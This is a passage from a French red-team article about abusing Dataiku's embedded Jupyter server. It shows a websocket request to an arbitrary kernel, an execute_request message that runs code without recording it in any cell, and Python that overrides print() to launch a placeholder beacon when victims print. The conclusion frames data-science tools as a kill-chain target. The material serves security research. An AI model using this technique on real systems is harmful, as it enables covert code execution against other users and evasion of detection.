<p>L’application <span style="color: #250f6b;"><em>Dataiku</em> </span>peut être utilisée pour masquer l’exécution de commandes malveillantes et faire croire qu’elle a été effectuée par un autre utilisateur.</p>
<h2><span style="color: #451dc7;">6.1. Intégration Jupyter dans Dataiku</span></h2>
<p>Comme dit précédemment, <span style="color: #250f6b;"><em>Dataiku</em> </span>expose une application de type <span style="color: #250f6b;"><em>Jupyter</em></span>. En examinant le code <span style="color: #250f6b;"><em>Dataiku</em> </span>et les différents processus exécutés par l’instance <span style="color: #250f6b;"><em>DSS</em></span>, cela montre que <span style="color: #250f6b;"><em>Dataiku</em> </span>n’a pas redéveloppé des applications de type <span style="color: #250f6b;"><em>Jupyter</em></span>, mais <strong><span style="color: #451dc7;">a simplement exécuté une instance Jupyter Notebook complète en arrière-plan</span></strong><span style="color: #451dc7;"> :</span></p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23704" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png" alt="" width="599" height="248" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_22-71x29.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></p>
<p style="text-align: center;"><em>Figure 22: serveur Jupyter sur le port 11002</em></p>
<p>Une simple redirection de port accorde l’accès à l’instance <em><span style="color: #250f6b;">Jupyter</span> </em>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23706" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png" alt="" width="545" height="161" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23.png 545w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-437x129.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_23-71x21.png 71w" sizes="auto, (max-width: 545px) 100vw, 545px" /></p>
<p style="text-align: center;"><em>Figure 23: instance Jupyter</em></p>
<p>Lors de l’exécution d’une cellule <span style="color: #250f6b;"><em>Jupyter</em></span>, il est possible, en effectuant une capture réseau, de voir la communication <span style="color: #250f6b;"><em>TCP</em> </span>entre l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>et le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23708" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png" alt="" width="873" height="204" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-437x102.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_24-768x179.png 768w" sizes="auto, (max-width: 873px) 100vw, 873px" /></p>
<p style="text-align: center;"><em>Figure 24: paquet TCP</em></p>
<p>Cela montre que l’instance <span style="color: #250f6b;"><em>Dataiku</em> </span>expose pleinement le noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>et une enquête supplémentaire montre que le <span style="color: #250f6b;"><em>TOKEN API</em> </span>utilisé par <span style="color: #250f6b;"><em>Dataiku</em> </span>pour communiquer avec le backend <span style="color: #250f6b;"><em>Jupyter</em> </span>est le même quel que soit le notebook <span style="color: #250f6b;"><em>Jupyter</em> </span>chargé.</p>
<p>Ainsi, tout utilisateur ayant accès à la fonctionnalité <span style="color: #250f6b;"><em>Jupyter Notebook</em> </span>est <span style="color: #451dc7;"><strong>capable d’exécuter du code sur n’importe quel noyau Jupyter chargé tant qu’il dispose de l’ID du noyau</strong>.</span> Heureusement, les identifiants des noyaux sont affichés dans les lignes de commande du processus. Ainsi, le code suivant peut être utilisé pour récupérer tous les identifiants du noyau :</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-23710" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png" alt="" width="645" height="115" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25.png 645w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-437x78.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2024/07/Figure_25-71x13.png 71w" sizes="auto, (max-width: 645px) 100vw, 645px" /></p>
<p style="text-align: center;"><em>Figure 25: recuperation de l’ID Kernel</em></p>
<p> </p>
<h2><span style="color: #451dc7;">6.2. Obfusquer la requête d’exécution</span></h2>
<p>Une fois l’identifiant du noyau récupéré, il est <span style="color: #451dc7;"><strong>possible de créer une session sur le noyau</strong></span> :</p>
<pre><code>GET /jupyter/api/kernels/0ab25b8f-1714-4bc9-8449-c09faf5c2e29/channels?session_id=c8c6a227ea3c465c82e39c403ba705a18 HTTP/1.1</code><br /><code>Host: 10.125.3.111:11000</code><br /><code>&lt;SNIP&gt;</code><br /><code>Origin: http://10.125.3.111:11000</code><br /><code>Sec-WebSocket-Key: obLqAtXNc/KxMJOp27qxIQ==</code><br /><code>Connection: keep-alive, Upgrade</code><br /><code>Cookie: &lt;SNIP&gt;</code><br /><code>Pragma: no-cache</code><br /><code>Cache-Control: no-cache</code><br /><code>Upgrade: websocket</code></pre>
<p>Cette requête créera un <span style="color: #250f6b;"><em>websocket</em> </span>pour communiquer avec le noyau <span style="color: #250f6b;"><em>Jupyter</em></span>. <span style="color: #451dc7;"><strong>Aucun contrôle d’accès spécifique n’est effectué sur ce point de terminaison</strong></span>. Tant que vous êtes autorisé à exécuter n’importe quel notebook <span style="color: #250f6b;"><em>Jupyter</em></span>, vous pouvez vous connecter à n’importe quel noyau <span style="color: #250f6b;"><em>Jupyter</em> </span>même si vous ne pouvez pas accéder au notebook à l’aide de l’interface utilisateur.</p>
<p>Il est alors possible d’utiliser le <span style="color: #250f6b;"><em>websocket</em> </span>pour envoyer une commande à exécuter au noyau <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>{</code><br /><code>  "header": {</code><br /><code>    "msg_id": "ef46ce660d49457c890ce550420ed921",</code><br /><code>    "username": "username",</code><br /><code>    "session": "f4fe997b336f4a019c4c6837df699d30",</code><br /><code>    "msg_type": "execute_request",</code><br /><code>    "version": "5.2"</code><br /><code>  },</code><br /><code>  "metadata": {},</code><br /><code>  "content": {</code><br /><code>    "code": "print('test')",</code><br /><code>    "silent": false,</code><br /><code>    "store_history": true,</code><br /><code>    "user_expressions": {},</code><br /><code>    "allow_stdin": true,</code><br /><code>    "stop_on_error": true</code><br /><code>  },</code><br /><code>  "buffers": [],</code><br /><code>  "parent_header": {},</code><br /><code>  "channel": "shell"</code><br /><code>}</code></pre>
<p> </p>
<p>Ce qui est intéressant, c’est que la commande est exécutée, mais <span style="color: #451dc7;"><strong>n’est enregistrée dans aucune cellule Jupyter, ce qui conduit à une exécution de commande invisible</strong></span> tant que le noyau est vivant.</p>
<p>De plus, si vous modifiez la valeur d’une variable spécifique, elle sera persistante. Donc, si vous envoyez la commande <span style="color: #250f6b;"><em>python</em> </span>:</p>
<pre><code>def hijacked_print(value):</code><br /><code>    import sys</code><br /><code>    process = subprocess.Popen(‘YOUR BEACON’, stdout=subprocess.PIPE, shell=False)</code><br /><code>    sys.stdout.write('hijacked print: {}'.format(value))</code><br /><br /><br /><code>print = hijacked_print</code></pre>
<p>La balise sera exécutée lorsqu’un utilisateur utilise la commande <span style="color: #250f6b;"><em>print</em> </span>et comme l’exécution précédente de <span style="color: #250f6b;"><em>Python</em> </span>n’a laissé aucune trace, bonne chance pour la détecter et trouver quel utilisateur a été compromis.</p>
<h1><span style="color: #451dc7;">7. Conclusion</span></h1>
<p>Les applications de science des données sont <span style="color: #451dc7;"><strong>utiles à n’importe quelle étape de la killchain</strong></span>. Pour un attaquant distant, ils peuvent être utilisés comme point d’entrée initial sur le système d’information, ils peuvent être exploités pour trouver des informations d’identification stockées de manière non sécurisée afin de rebondir sur le système d’information, leurs capacités de script peuvent être utilisées pour <span style="color: #451dc7;"><strong>diffuser une balise malveillante entre plusieurs utilisateurs</strong></span> et les données qu’ils contiennent peuvent être facilement volées et exfiltrées.</p>
<p>Ces applications sont <span style="color: #451dc7;"><strong>sapées soit par les attaquants, soit par le service informatique</strong></span>. Une simple compromission de l’une de ces applications peut avoir un impact considérable sur l’ensemble du système d’information.</p>
<p>Il est temps que l’infosec commence à intégrer le mot à la mode comme le BigData et l’apprentissage automatique dans la killchain, l’attaquant l’a déjà fait…</p>
<p> </p>
<p> </p>
<p> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/">DataScience pour la RedTeam: Etendre sa surface d&rsquo;attaque</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2024/07/datascience-pour-la-redteam-etendre-sa-surface-dattaque/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
